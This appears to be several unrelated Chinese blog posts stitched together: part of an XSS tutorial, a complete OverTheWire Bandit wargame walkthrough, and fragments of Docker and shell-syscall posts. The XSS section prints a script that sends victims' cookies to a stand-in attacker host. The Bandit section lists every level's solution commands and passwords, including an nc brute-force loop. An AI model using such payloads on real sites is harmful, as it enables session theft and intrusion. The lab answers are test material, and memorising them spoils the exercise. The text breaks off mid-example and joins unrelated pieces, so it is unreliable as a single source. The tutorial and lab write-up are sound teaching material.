• 键盘记录：攻击者可以使用addEventListener 来登记一个键盘事件监听器，然后发送所有的用户按键记录到他自己的服务器，可能会记录像密码和银行卡号这样的敏感信息。
• 网络钓鱼：攻击者可以使用 DOM 操作在页面中插入假的登录表单，设置表单的 action 到自己的服务器，之后欺骗用户提交敏感信息。

尽管这些攻击有明显的不同，但它们都有一个关键的相似点：因为攻击者将代码注入了网站服务器的页面中，这些恶意代码将会在网站的上下文中运行。这意味着这些恶意代码会被网站当成普通代码对待：它可以访问受害者在该网站上的数据（例如：Cookies）和在URL中显示的主机名。无论出于什么目的和企图，恶意代码都会被当做网站上合法的一部分对待，可以做这个网站能做的任何事情。

这个事实强调了一个关键问题：

如果一个攻击者可以利用你的网站在其他人的浏览器上执行任意 JavaScript 代码，你的网站和用户的安全都是存在问题的。

为了强调这一点，教程中的一些示例将会适用<script>...</script>省去恶意代码的细节。这表明能被注入代码的地方才是问题所在，而不是被执行的恶意代码。

二、XSS 攻击

XSS攻击中的角色

在我们描述 XSS 攻击的细节前，我们需要定义 XSS 攻击中涉及到的角色。事实上，一次 XSS 攻击涉及3个角色：网站、受害者和攻击者 。

• 网站提供 HTML 页面给请求它的用户。在我们的例子中，它位于 http://website/。
  • 网站的数据库保存一些会被加载到网站页面的用户输入。
• 受害者是该网站的一名普通用户，用浏览器访问页面。
• 攻击者是该网站的一名恶意用户，尝试利用网站上的 XSS 漏洞来攻击受害者
  • 攻击者的服务器是由他本人控制的网络服务器，唯一的目的是保存受害者的敏感信息。在我们的例子中，它位于 http://attacker/。

一个攻击场景示例

在这个例子中，我们假设攻击者的最终目标是通过利用网站的 XSS 漏洞来偷窃受害者的 cookies。这可以通过在受害者的浏览器中执行下列代码实现：

1
2
3

<script>
window.location='http://attacker/?cookie='+document.cookie
</script>

这段代码将用户浏览器导航到一个不同的 URL，触发一个到攻击者服务器的 HTTP 请求。这段 URL 将受害者的 cookies 作为参数包含其中，这样攻击者就能在请求到达时获取到 cookies。一旦攻击者得到了 cookies，他就可以利用它来伪装成受害者，开展后续攻击。

从现在开始，上面这段代码将被称为恶意字符串或恶意脚本。

示例攻击的工作流程

下面的图展示了攻击者是如何开展示例攻击的：

1. 攻击者利用网站表单将恶意字符串插入网站数据库。
2. 受害者从网站请求页面。
3. 网站将恶意字符串从数据库中取出并包含在响应中发给受害者。
4. 受害者浏览器执行包含在响应中的恶意脚本，发送受害者的 cookies 到攻击者的服务器。

XSS 的类型

尽管 XSS 攻击的目标总是在受害者的浏览器中执行一些恶意代码，完成这个目标的方式还是会有些许区别。XSS 攻击通常被分为下面三类：

• 持久化 XSS：恶意代码通常来自网站数据库。
• 反射式 XSS：恶意代码通常来自用户请求。
• 基于 DOM 的XSS：漏洞通常在客户端而非服务端。

上一个例子里展示了持久化 XSS 攻击。现在我们将描述另外两种类型的 XSS 攻击：反射式 XSS 和 基于 DOM 的 XSS。

反射式 XSS

在反射式 XSS 攻击中，恶意字符串是受害者向网页发出的 request 的一部分。网站之后会将包含恶意字符串的响应返回给用户。下图展示了该过程：

1.攻击者构造了一个包含恶意字符串的 URL 并发送给受害者。

2.受害者被欺骗，向网站发送 URL。

3.网站从 URL 中加载恶意代码作为响应。

4.受害者浏览器执行响应中的恶意代码，发送受害者的 cookies 到攻击者的服务器。

反射式 XSS 是如何成功的？

首先反射式 XSS 看起来危害更小，因为它要求受害者自己来发送包含恶意字符串的请求。因为没有人愿意攻击他自己，这看起来没办法实施这种攻击。

然而事实证明，至少有两种方式会导致受害者自己启动反射式 XSS 来攻击他自己。

• 如果攻击者的目标是一个特定个体，攻击者可以发送恶意 URL 给受害者（例如使用电子邮箱、及时通讯方式等）并欺骗它们访问。
• 如果攻击者的目标是很多人，攻击者可以发布一个包含恶意 URL 的链接（例如在他自己的网站或社交网络上）并等待访问者点击。

这两种方法是相似的，并且在使用短链的情况下更可能成功，短链能遮挡住恶意字符串，防止被用户识别出来。

基于 DOM 的 XSS

基于 DOM 的 XSS 是持久化和映射 XSS 的一个变种。在基于 DOM 的 XSS 攻击中，恶意字符串并没有被受害者的浏览器解析，直到网站的合法 JavaScript 代码被执行。下图展示了基于 DOM 的 XSS 攻击场景：

1.攻击者构造了一个包含恶意字符串的 URL 并发送给受害者。

2.受害者被攻击者欺骗，向网站发送 URL。

3.网站收到了请求，但并没有将恶意字符串包含在响应中。

4.受害者的浏览器执行了响应中的合法代码，造成恶意脚本被插入页面。

5.受害者的浏览器执行了页面中的恶意脚本，发送了受害者的 cookies 到攻击者的服务器。

###基于 DOM 的 XSS 攻击不同的地方

在之前的关于持久化和映射的 XSS 攻击的例子中，服务器在页面中插入了恶意脚本，这将会作为发送给受害者的响应。当受害者的浏览器接收到响应后，它会把恶意脚本作为页面合法内容的一部分并自动在页面加载其它脚本的时候执行它。

然而在基于 DOM 的 XSS 攻击示例中，没有恶意代码被插入到页面中；唯一被自动执行的脚本是页面本身的合法脚本。问题在于合法脚本会直接利用用户输入在页面中添加 HTML 代码。因为恶意字符串是通过innerHTML 插入页面的，它将会被解析成 HTML，造成恶意脚本被执行。

不同之处很微妙但也很重要：

• 在传统的 XSS 中，恶意脚本作为页面的一部分🈶服务器发送并在页面被加载时执行。
• 在基于 DOM 的 XSS 攻击中，恶意脚本是在页面已经被加载一段时间后执行，由页面的合法代码用不安全的方式对待用户输入导致。

为什么基于 DOM 的 XSS 攻击很重要

在之前的例子中，JavaScript 并不是必要的；服务器会自己生成所有的 HTML。如果服务端的代码是没有漏洞的，网站就不会受到 XSS 攻击。

然而，随着 Web 应用变得更加高级，HTML 代码通过客户端的 JavaScript 代码生成而不是通过服务端。任何时候内容都需要在不刷新整个页面的情况下改变，这种更新必须通过 JavaScript 执行。更为具体的，这种情况下，页面是通过一个 AJAX 请求后更新的。

这意味着 XSS 漏洞不仅会出现在你的网站的服务端代码，也会出现在客户端的 JavaScript 代码。因此，即使你的服务端代码是完全安全的，客户端代码也可能会因为在页面被加载后执行了包含用户输入的 DOM 更新而变得不安全。如果这种情况发生了，客户端代码就会在服务端没有问题的情况下触发 XSS 漏洞。

##基于 DOM 的 XSS 对于服务端是不可见的

在基于 DOM 的 XSS 攻击中有一个非常特殊的地方，那就是恶意字符串从开始就没有被发送给服务端。浏览器没有发送恶意代码，所以服务器也就没有办法利用服务端代码进行检查。然而，客户端代码会用不安全的方式来处理它，从而导致 XSS 漏洞。

三、预防 XSS 攻击

预防 XSS 的方法

XSS 攻击实质上是一种代码注入：用户输入被错误的解释成了恶意程序代码。为了防止这种类型的代码注入，安全输入的处理是有必要的。对于 Web 开发者来说，有两种基本的方式来进行安全输入检查：

• 编码：这将转义用户输入，使得浏览器仅仅解释数据而非代码。
• 验证：过滤用户输入，使得浏览器解释代码而非恶意命令。

这是很基础的预防 XSS 的方法，它们有几点共同的特征，理解这些是非常重要的：

• Context：安全输入检查需要被区别对待，这取决于用户输入在页面的何处被插入。
• Inbound/outbound： 安全输入检查既可以在你的网站接受输入（inbound）时执行，也可以在你的网站将输入插入到页面之前执行（outbound）。
• Client/server：安全输入检查可以在客户端执行也可以在服务端，在某些情况下甚至都要执行。

在解释如何编码和验证的工作细节之前，我将先描述一下这些关键点。

输入检查上下文

在网页中，用户输入可能会插入的地方会有许多上下文。对于每一种上下文，都必须遵循特定的规则使得用户输入不会打破自己的上下文和被解释成恶意代码。

为什么上下文很重要？

在上面提到的上下文中，用户输入如果没有经过编码或验证就直接插入将会使得出现 XSS 漏洞的概率大幅提高。攻击者可以通过简单地插入分隔符并在后面加入恶意代码来进行注入攻击。

例如，网站如果直接将用户输入作为 HTML 属性插入，攻击者便能够通过在输入起始处输入引号来注入恶意代码，如下所示：

这是可以通过简单地删除所有用户输入中的引号避免的，仅仅在这种上下文中。如果同样的输入被注入到另一处上下文，结尾分隔符可能会改变，注入就很难成功了。因此，安全输入检查往往需要根据用户输入在哪被注入来进行定制。

Inbound/outbound 输入检查

直观上看，好像所有的 XSS 问题都可以通过在网站接收到用户输入时对其进行编码或验证来防范。通过这种方式，任何恶意字符串都应该在被包含进页面时被过滤了。

就像上文提到的，问题在于，用户输入可以被插入页面的几处上下文中。没有很轻松的方法来判断什么时候用户输入会出现在它最终被注入的上下文中，而同样的用户输入通常需要被插入到不同的上下文中。依赖入站输入检查来预防 XSS 是非常脆弱的方法，并会导致一系列问题。（已经被废弃的 PHP 特性“magic quotes” 就是一个典型的例子。）

然而出站输入处理应该成为你对抗 XSS 的基本方法，因为它会考虑到用户输入将被插入处的具体上下文。而入站验证仍然可以成为第二道防线，我们会在之后讨论。

在哪执行安全输入检查

在大多数现代的网站应用中，用户输入会同时被服务端和客户端处理。为了预防所有类型的 XSS 攻击，安全输入检查必须同时在客户端和服务端进行。

• 为了预防传统的 XSS 攻击，安全输入检查必须考虑服务端的代码。这可以通过服务器上使用的任何语言来支持。
• 为了预防基于 DOM 的 XSS 攻击，安全输入检查必须考虑客户端代码。这可以通过 JavaScript 代码来支持。

编码

编码是一种转义用户输入的操作，使得浏览器仅仅解释数据而非代码。在 web 开发中最常使用的编码方式是 HTML 转义，这将把字符 ’<‘ 和 ‘>’分别转义成 ‘&lt\;’ 和 ‘&gt\;’ 。

下面的伪代码展示了用户输入时如何通过 HTML 转义编码并通过服务端脚本插入页面的：

1
2
3
4

print "<html>"
print "Latest comment: "
print encodeHtml(userInput)
print "</html>"

如果用户输入时字符串

Bandit 是wargame 系列挑战中的第一个系列，也是最基础的一个，可以用来巩固一些命令行基础知识，所有的挑战都通过终端直接 ssh 连接远程主机即可。我在两周前打完了 Bandit,所以写下这篇博客来做一个总结。

Level 0

目标

使用 ssh 连接到目标主机 bandit.labs.overthewire.org 。用户名为bandit0，密码为bandit0。

可能会用到的命令

ssh

非常简单，直接连进去可以得到下一关的密码。

1

sshpass -p `natas0` ssh natas0@bandit.labs.overthewire.org -p 2220

这里用到了 sshpass 命令，这个命令允许你进行 ssh 连接时直接输入密码，而不需要再标准输入中输入，非常方便，之后的连接我都是使用的这个命令。可以通过该页面 查看安装如何安装

Level 0 → 1

目标

下一关的密码保存在用户目录下的 readme文件中。无论什么时候得到了下一关的密码，使用 ssh 登入下一关并继续挑战。

可能会用到的命令

ls, cd, cat, file, du, find

使用ls 查看用户目录并用cat查看文件内容。

1
2

cat readme
boJ9jbbUNNfktd78OOpsqOltutMc3MY1

Level 1→ 2

目标

下一关的密码保存在用户目录下的”-“文件中。

可能会用到的命令

ls, cd, cat, file, du, find

使用 ls 查看目录并使用 cat 查看文件内容。然而在使用 cat 命令时会出现一直空等的情况。因为文件名”-“是一个特殊字符，它会告诉 Shell 用户想从标准输入输入数据，所以 Shell 就会空等。解决办法就是带上文件路径。

1
2
3

cat ~/-
cat ./-
CV1DtqXWVFXTvM2F0k09SHz0YwRINYA9

Level 2→3

目标

下一关的密码保存在用户目录下的 space in this filename文件中。

可能会用到的命令

ls, cd, cat, file, du, find

这一关考察的是转义符的应用。如果直接在 Shell 中打出文件命令的话，Shell 会将输入理解为多个参数，而不是一个文件名，因此需要用转义符’\‘来对空格进行转义。

1
2
3

cat "spaces in this filename"
cat spaces\ in\ this\ filename
UmHadQclWmgdLOKQ3YNgjWxGoRMb5luK

Level 3→4

目标

下一关的密码保存在 inhere 文件夹下的隐藏文件中。

可能会用到的命令

ls, cd, cat, file, du, find

主要熟悉 ls 命令，加上 -a 参数后就可以看到当前文件夹下包括隐藏文件在内的所有文件。

1
2
3
4

cd inhere
ls -a
cat .hidden
pIwrPrtPN36QITSp3EQaw936yaFoFgAB

Level 4→ 5

目标

下一关的密码保存在 inhere 文件夹下唯一可读的文件中。

可能会用到的命令

ls, cd, cat, file, du, find

在 inhere 有很多文件，但只有一个是可读的。使用 file 命令可以查看所有文件的文件类型，发现只有一个文件是 ASCII 格式的，那就是我们需要的！

1
2
3
4

cd inhere
file ./-*
cat ./-file07
koReBOKuIDDepwhWk7jZC0RTdopnAYKh

level 5→6

目标

下一关的密码保存在 inhere 文件夹的某个文件中，它有下列特征：可读的；1033字节；不可执行。

可能会用到的命令

ls, cd, cat, file, du, find

这一关用到 find 命令。参数 -size 可以用来指定文件的大小，在数字后加 ‘c’用字节表示，加’k’用 kb 表示，加’M’用 MB 表示。参数 -type 用来指定文件的类型，’f’表示普通文件，’I’表示链接文件，’d’表示目录。

1
2
3
4
5

cd inhere
find ./ -type f -size 1033c
find ./ -size 1033c
cat ./maybehere07/.file2
DXjZPULLxYr17uwoI01bNLQbtFemEgo7

Level 6→7

目标

和上一关类似，这一关的文件在服务器中，没有告诉我们具体位置。这一关的文件有以下特征：属于用户 bandit7；属于组 bandit6；33字节。

可能会用到的命令

ls, cd, cat, file, du, find, grep

这一关还是要用到 find命令。我们已经知道了使用 -size 33c来寻找长33字节的文件。参数 -group bandit6 将会寻找属于组 bandit6 的文件。参数 -user bandit7 将会寻找属于用户 bandit7 的文件。因为该文件在服务器的某处，所以我们要从根目录开始找。执行命令后将会产生许多拒绝访问的报错信息。为了过滤掉这些没用的信息，我们使用 （2>/dev/null）。

小贴士：

‘>’操作符重定向输出到文件或设备。也可以使用’>>’来附加（’>’会覆盖源文件，如果有的话）。

> file : 重定向标准输出到文件

1>file : 重定向标准输出到文件

2>file : 重定向标准错误到文件

&>file : 重定向标准输出和错误到文件

/dev/null 是空设备，任何定向到它的数据都会被删除，可以用来压缩任何输出。

1
2
3

find / -size 33c -user bandit7 -group bandit6 2>/dev/null
cat /var/lib/dpkg/info/bandit7.password
HKBPTKQnIay4Fw76bEy8PVxKEDQRKTzs

Level 7→8

目标

下一关的密码保存在 data.txt 文件中的单词 millionth 后面。

可能会用到的命令

grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd

这一关很简单，直接用 grep 就好。

1
2

grep "millionth" data.txt
millionth cvX2JJa4CFALtqS87jk27qwqGhBM9plV

Level 8→9

目标

下一关的密码保存在文件 data.txt中并且仅有一行只出现一次。

可能会用到的命令

grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd

因为下一关的密码是唯一的一行，我们需要使用uniq -u命令来从 data.txt中获取。然而，uniq 只能从输入中过滤相邻匹配的行，所以我们需要在使用uniq前排序。因此，我们需要sort data.txt 并使用管道传递给uniq -u。

1
2

sort data.txt | uniq -u
UsvVyFSfZZWbi6wgC7dAFyFuR6jQQUhR

Level 9→10

###目标

下一关的密码保存在 data.txt 文件中，只有少部分以’=’ 开头的字符串是可读的。

可能用到的命令

grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd

使用 strings命令打印出文件中所有可打印的字符，然后用管道将其传递给 grep = 来查找所有的’=’。 输出的所有行将会包含’=’，其中之一会有密码。如果使用’==’来替代’=’，你会发现仅有4行结果。

1
2
3
4
5

strings data.txt | grep ==
========== the
,========== passwordc
========== is
========== truKLdjsbJ5g7yyJ2X2R0o3a5HQJFuLk

Level 10→11

###目标

下一关的密码保存在 data.txt文件中，它包含 base64 编码的数据。

可能用到的命令

grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd

提示在于 base64 编码的数据。我们需要将 base64 编码的数据解码来获取下一关的密码。

1
2

base64 -d data.txt
The password is IFukwKGsFW8MOq3IRFqrxE1hxTNEbUPR

Level 11→12

目标

下一关的密码保存在 data.txt 中，所有的小写（a-z）和大写（A-Z）字母都经过了13位翻转。

可能用到的命令

grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd

从命令列表中发现，tr 命令用于变换或删除字符。使用方式：tr [OPTION] … SET1 [SET2]。SETs可以被表示为 CHAR1-CHAR2，其中所有的字符是以升序从 CHAR1 到 CHAR2。ROT13是翻转 a 到 n，b 到 o, c 到 p … z 到 m，大写字母类似。我们可以写出完整的列表或者简化版本。首先，我们需要通过管道将 data.txt 作为输入传给 tr。

1
2
3

cat data.txt | tr abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM
cat data.txt | tr a-zA-Z n-za-mN-ZA-M
The password is 5Te8Y4drgCRfCx8ugdwuEX8KFC6k2EUu

Level 12→13

###目标

下一关的密码保存在文件 data.txt 中，它是一个被重复压缩的 hexdump 文件。在这一关中，使用 mkdir 命令在 /tmp 目录下创建一个可以工作的目录是非常有用的。例如：mkdir /tmp/myname123。之后用 cp 复制 data.txt 文件并用 mv重命名。

可能用到的命令

grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd, mkdir, cp, mv

从列出的命令来看，xxd 用来生成 hexdump 或者进行逆向。应该是会用到的。另外，这个文件被重复压缩了，所以我们也会需要gzip 和bzip2。就像目标中提及的，这需要进行几次迭代和一个临时的工作目录。

首先，我们将 hexdump文件逆向成二进制文件。使用 file 命令，我们可以查看文件的压缩格式。使用man gzip命令，我们可以查到解压的参数是-d 。如果我们现在使用gzip -d data2，这将会报未知后缀的错误。因此，我们需要在解压前重命名文件为.gz 后缀

1
2
3
4
5

xxd -r data.txt data2
file data2
data2: gzip compressed data, was "data2.bin", from Unix, last modified: Thu Jun 6 13:59:44 2013, max compression
mv data2 data.gz
gzip -d data.gz

现在一个新的文件 data 已经在目录中了。再次使用 file 来查看文件的类型。data 是一个 bzip2 压缩文件。使用 bzip2 -d data 来解压。它会抱怨源文件名并添加一个 .out 后缀。

1
2
3
4

file data
data: bzip2 compressed data, block size = 900k
bzip2 -d data
bzip2: Can't guess original name for data -- using data.out

重复类似的操作，可以得到下一关的密码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

file data.out
data.out: gzip compressed data, was "data4.bin", from Unix, last modified: Thu Jun 6 13:59:43 2013, max compression
zcat data.out > data3
file data3
data3: POSIX tar archive (GNU)
tar -xvf data3
data5.bin
file data5.bin
data5.bin: POSIX tar archive (GNU)
tar -xvf data5.bin
data6.bin
file data6.bin
bzip2 -d data6.bin
bzip2: Can't guess original name for data6.bin -- using data6.bin.out
file data6.bin.out
data6.bin.out: POSIX tar archive (GNU)
tar -xvf data6.bin.out
data8.bin
file data8.bin
data8.bin: gzip compressed data, was "data9.bin", from Unix, last modified: Thu Jun  6 13:59:43 2013, max compression
zcat data8.bin > data9.bin
file data9.bin
data9.bin: ASCII text
cat data9.bin
8ZjyCRiBWFYkneahHwxCv3wb2a1ORpYL

Level 13→14

目标

下一关的密码保存在 /etc/bandit_pass/bandit14 中，并且只能被用户 bandit14 读。在这一关中，你无法获得下一关的密码，但是你可以获得用于登录下一关的 SSH 私钥。注意：localhost 是你正在工作的机器的主机名。

可能用到的命令

ssh, telnet, nc, openssl, s_client, nmap

线索来自目标。首先一个 SSH 私钥已经在 bandit13 的用户目录下了。

1

sshkey.private

我们必须以 bandit14 的身份使用私钥进行登录。

1

ssh -i sshkey.private bandit14@localhost

在我们以 bandit14 的身份登录后，我们需要做的就是拿到下一关的密码。

1
2

cat /etc/bandit_pass/bandit14
4wcYUJFw0k0XLShlDzztnTBHiqxU3b3e

Level 14→15

目标

可以通过提交本关的密码到 localhost 上的 30000 端口来获取下一关的密码。

可能用到的命令

ssh, telnet, nc, openssl, s_client, nmap

1
2
3

nc localhost 30000 < /etc/bandit_pass/bandit14
Correct!
BfMYroe26WYalil77FoDi9qh59eK5xNr

Level 15→16

###目标

可以使用 SSL 加密提交本关的密码到 Localhost 上的端口 30001来获取下一关的密码。

可能用到的命令

ssh, telnet, nc, openssl, s_client, nmap

在 openssl 的帮助页面上，s_client 命令实现了一个通用的 SSL/TLS客户端。用它来完成本关的挑战。

1
2
3

openssl s_client -connect localhost:30001 -quiet < /etc/bandit_pass/bandit15
Correct!
cluFn7wTiGryunymYOu4RcffSxQluehd

Level 16→17

目标

提交当前关的密码到 localhost 上范围31000-32000的一个端口上来获取下一关的密码。首先找到哪些端口正被服务器监听。之后找到哪些支持SSL，哪些不支持。仅有一个端口会返回下一关的密码，其它的则是返回你发送的数据。

可能用到的命令

ssh, telnet, nc, openssl, s_client, nmap

查看一下提供的命令，nmap 看起来是我们需要的。参数 -p 可用来指定扫描端口的范围。

1
2
3
4
5
6
7
8
9
10
11
12
13
14

nmap -p 31000-32000 localhost

Starting Nmap 5.21 ( http://nmap.org ) at 2014-11-02 07:06 UTC
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00087s latency).
Not shown: 996 closed ports
PORT      STATE SERVICE
31046/tcp open  unknown
31518/tcp open  unknown
31691/tcp open  unknown
31790/tcp open  unknown
31960/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 0.08 seconds

有5个在扫描范围内开放的端口。我们可以检查每一个端口，发现 31790 是我们想要的。另外，我们可以写一个脚本，创建一个 /tmp/key 文件夹并将密钥保存在这。

1

cat /etc/bandit_pass/bandit16 | openssl s_client -connect localhost:31790 -quiet > /tmp/key/b16pkey

如果你这样使用密钥，是非常不安全的，因为每个人都可以看到它。原因在于该文件的读写权限对所有人都是开放的。我们需要改变它的读写权限让它仅对拥有者开放。

1

chmod 600 /tmp/key/b16pkey

之后我们就可以用它登录了。

1

ssh -i /tmp/key/b16pkey bandit17@localhost

下一关的密码在同样的位置。

1
2

cat /etc/bandit_pass/bandit17
xLYVMN9WE5zQ5vHacb0sZEVqbrp7nBTn

Level 17→18

目标

用户目录下有两个文件：passwords.old 和 passwords.new 。下一关的密码在 password.new 中，并且在新密码和旧密码中仅有一行不同。

可能用到的命令

cat, grep, ls

diff 命令会输出两个文件中所有不同的行。

1
2
3
4
5

diff passwords.new passwords.old
42c42
< kfBf3eYk5BPBRzwjqutbbfE887SVc5Yd
---
> PRjrhDcANrVM6em57fPnFp4Tcq8gvwzK

Level 18→19

###目标

下一关的密码保存在用户目录下的 readme 文件夹下。不幸的是，在你使用 SSH 登录的时候，某个人已经修改了 .bashrc 文件来将你登出。

可能用到的命令

ssh, ls, cat

从 ssh 的帮助文档中，我们可以在登录之后执行一个命令。因为我们已经知道密码保存在哪，我们可以在被登出前查看它。

1
2

ssh bandit18@bandit.labs.overthewire.org cat readme
IueksS7Ubh8G3DCwVzrTd8rAVOwq3M5x

Level 19→20

目标

为了进入下一关，你应该使用用户目录下的 setuid 二进制文件。在没有参数的情况下执行它来探索如何使用。在你正确使用了它后，下一关的密码可以在(/etc/bandit_pass)中找到。

查看用户目录，我们可以看到由bandit20创建的 bandit20-do文件，可以被bandit19访问。该文件的权限设置是 rws。s 权限意味着当该文件被执行时，它会在所有者的权限下运行。

1

-rwsr-x--- 1 bandit20 bandit19 7237 Jun 6 2013 bandit20-do

因为所有者是 bandit20,我们可以尝试运行它，并使用提升的权限来查看下一关的密码。

1
2
3

./bandit20-do
Run a command as another user.
 Example: ./bandit20-do id

让我们查看密码文件并获取下一关的密码。

1
2

./bandit20-do cat /etc/bandit_pass/bandit20
GbKksEFF4yrVs6il55v6gwY5aVje5f0j

Level 20→21

目标

用户目录下有一个 setuid 二进制文件，它做下列事情：建立一个到 localhost 某一端口的连接，该连接可由你通过命令行参数指定。它之后会从连接处读入一行文本并和上一关（bandit20）的密码比较。如果密码是正确的，它将传回下一关的密码（bandit21）。

注意：为了通过这关，你需要登录两次：一次运行 setuid 命令，一次启动 setuid 将会连接的网络服务。

注意 2：尝试连接你自己的网络服务来查看是否如你想象的那样工作。

可以看到 suconnect 需要执行，让我们看看执行的结果。

1
2
3
4
5

./suconnect
Usage: ./suconnect <portnumber>
This program will connect to the given port on localhost using TCP. 
If it receives the correct password from the other side, the next 
password is transmitted back.

就像注意中所提示的，我们需要两个实例，一个用来监听端口，另一个读入和返回下一关的密码。我们使用 nc来监听我们选择的端口并发送这关的密码到该端口。

1

nc -l 32123 < /etc/bandit_pass/bandit20

在另一个 ssh 会话中，我们在同一个端口启动 suconnect ，马上得到了回应。

1
2
3

./suconnect 32123
Read: GbKksEFF4yrVs6il55v6gwY5aVje5f0j
Password matches, sending next password

此时查看第一个会话，发现下一关的密码就在其中。

1

gE269g2h3mw3pwgrj0Ha9Uoqen1c9DGr

Level 21→22

目标

一个程序通过 cron 在规律的中断下自动运行，基于时间的作业调度。查看 /etc/cron.d 的配置来查看什么命令被执行了。

可能用到的命令

cron, crontab, crontab(5) (use “man 5 crontab” to access this)

从目标来看，我们可以访问 /etc/cron.d 并查找一些文件。名为 cronjob_bandit22 的文件看起来是我们感兴趣的。它展示了 cron_job_bandit22.sh 脚本的位置。我们来看看这个脚本。

1
2
3
4
5
6
7

cat cronjob_bandit22
* * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null

cat /usr/bin/cronjob_bandit22.sh
#!/bin/bash
chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv

某人将 bandit22 的密码放入了临时文件中。我们再一次查看临时文件，找到下一关的密码。

1
2

cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
Yk7owGAcWjwMVRwrTesJEwB7WVOiILLI

Level 22→23

目标

一个程序通过 cron 在规律的中断下自动运行，基于时间的作业调度。查看 /etc/cron.d 的配置来查看什么命令被执行了。

可能用到的命令

cron, crontab, crontab(5) (use “man 5 crontab” to access this)

和上一关做一样的事情，我们发现了下面这个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13

cat cronjob_bandit23
* * * * * bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null

cat /usr/bin/cronjob_bandit23.sh

#!/bin/bash

myname=$(whoami)
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)

echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"

cat /etc/bandit_pass/$myname > /tmp/$mytarget

我们注意到 whoami 返回当前用户，也就是 bandit22。所以我们应该改变它，先运行一下这个脚本看看会发生什么。

1
2

/usr/bin/cronjob_bandit23.sh
Copying passwordfile /etc/bandit_pass/bandit22 to /tmp/8169b67bd894ddbb4412f91573b38db3

所以我们将 bandit22 换成 bandit23，我们将会获得一个包含下一关密码的文件。长文件名是 mytarget 的 mds hash。我们得到这个长字符串并查看该文件的内容，即为我们下一关的密码。

1
2
3
4
5

echo I am user bandit23 | md5sum | cut -d ' ' -f 1
8ca319486bfbbc3663ea0fbe81326349

cat /tmp/8ca319486bfbbc3663ea0fbe81326349
jc1udXuA1tiHqjIsL8yaapX5XIAI6i0n

Level 23→24

目标：

一个程序通过 cron 在规律的中断下自动运行，基于时间的作业调度。查看 /etc/cron.d 的配置来查看什么命令被执行了。

注意：这一关需要你自己创建自己的第一个 shell 脚本。这是一个非常大的进步。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

cat cronjob_bandit24
* * * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null

cat /usr/bin/cronjob_bandit24.sh
#!/bin/bash

myname=$(whoami)

cd /var/spool/$myname
echo "Executing and deleting all scripts in /var/spool/$myname:"
for i in *;
do
    echo "Handling $i"
    ./$i
    rm -f $i
done

从脚本的描述来看，它将执行 $myname 文件夹下的所有脚本。我们在 /var/spool 目录下发现了 bandit24 文件夹。因此，让我们写一个脚本复制密码到临时文件夹中。

1
2
3
4
5

mkdir /tmp/b23abc
vim /tmp/b23abc/getpass.sh
cat /tmp/b23abc/getpass.sh
#!/bin/bash
cat /etc/bandit_pass/bandit24 > tmp/b23abc/pass.txt

我们能复制文件到 /var/spool/bandit24 ，但是记住执行前必须设置权限。

1
2

chmod 777 /tmp/b23abc/getpass.sh
cp /tmp/b23abc/getpass.sh /var/spool/bandit24/

然而，在几分钟后，我们并没有在文件夹中获得 pass.txt 。我们忘记设置文件夹的权限，使得文件能被写入。完成后，我们就可以得到下一关的密码。

1
2
3

chmod 777 /tmp/b23ac/
cat /tmp/b23abc/pass.txt
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ

Level 24→25

目标

一个服务正在监听 30002 端口，如果将本关的密码和一个4位的 pincode 给它，它就会给你下一关的密码，我们没有办法获取这个 Pincode ，只能遍历 10000种组合，也就是暴力破解。

再一次，我在 /tmp 中创建一个文件夹，确保所有新创建的文件夹和所有和本关相关联的文件都有合适的权限。

1
2
3
4
5
6
7

#!/bin/bash
passwd="UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ"

for a in {0..9}{0..9}{0..9}{0..9}
do
    echo $passwd' '$a | nc localhost 30002 >> result &
done

我选择使用 netcat(nc) 命令。pincode 通过一个 for 循环遍历生成。 ‘>>’将输出补充到 result 文件中。’&’让命令在后台进行，让它可以开始下一次迭代。

使用同样的策略来从文件中找到唯一的行，我们就可以看到下一关的密码了。

1
2
3

$ sort result | uniq -u
Correct!
The password of user bandit25 is uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG

想写一篇汇总的 docker 文章，目的在于当我以后想要复习 docker 相关的知识时，只要翻这篇文章就好。顺便把在微博实习的时候做的关于 docker 的技术分享进行整合，物尽其用吧。

在之前的博客中，我使用 C 和 Python 分别实现了一个简单的 Shell，这是一个很有意思的小程序，可以让你了解你每天都在使用的工具。而在简单的 Shell 之下则是一系列的系统调用，例如：read, fork, exec, wait, write等等。现在让我们继续这段旅程，开始学习这些系统调用是如何在 Linux 中实现的。

Shell的基本生命周期

无论使用什么语言实现，Shell 的生命周期都是一样的，主要做三件事：

• 初始化：Shell 会在初始化时读入和执行配置文件。这会改变 Shell 接下来各方面的行为。
• 解释：Shell 在解释阶段（也就是等待用户输入的阶段）读入标准输入的命令并解释执行。
• 终结：在用户输入 shutdown 命令后，Shell 会释放掉占用的内存并终结自己。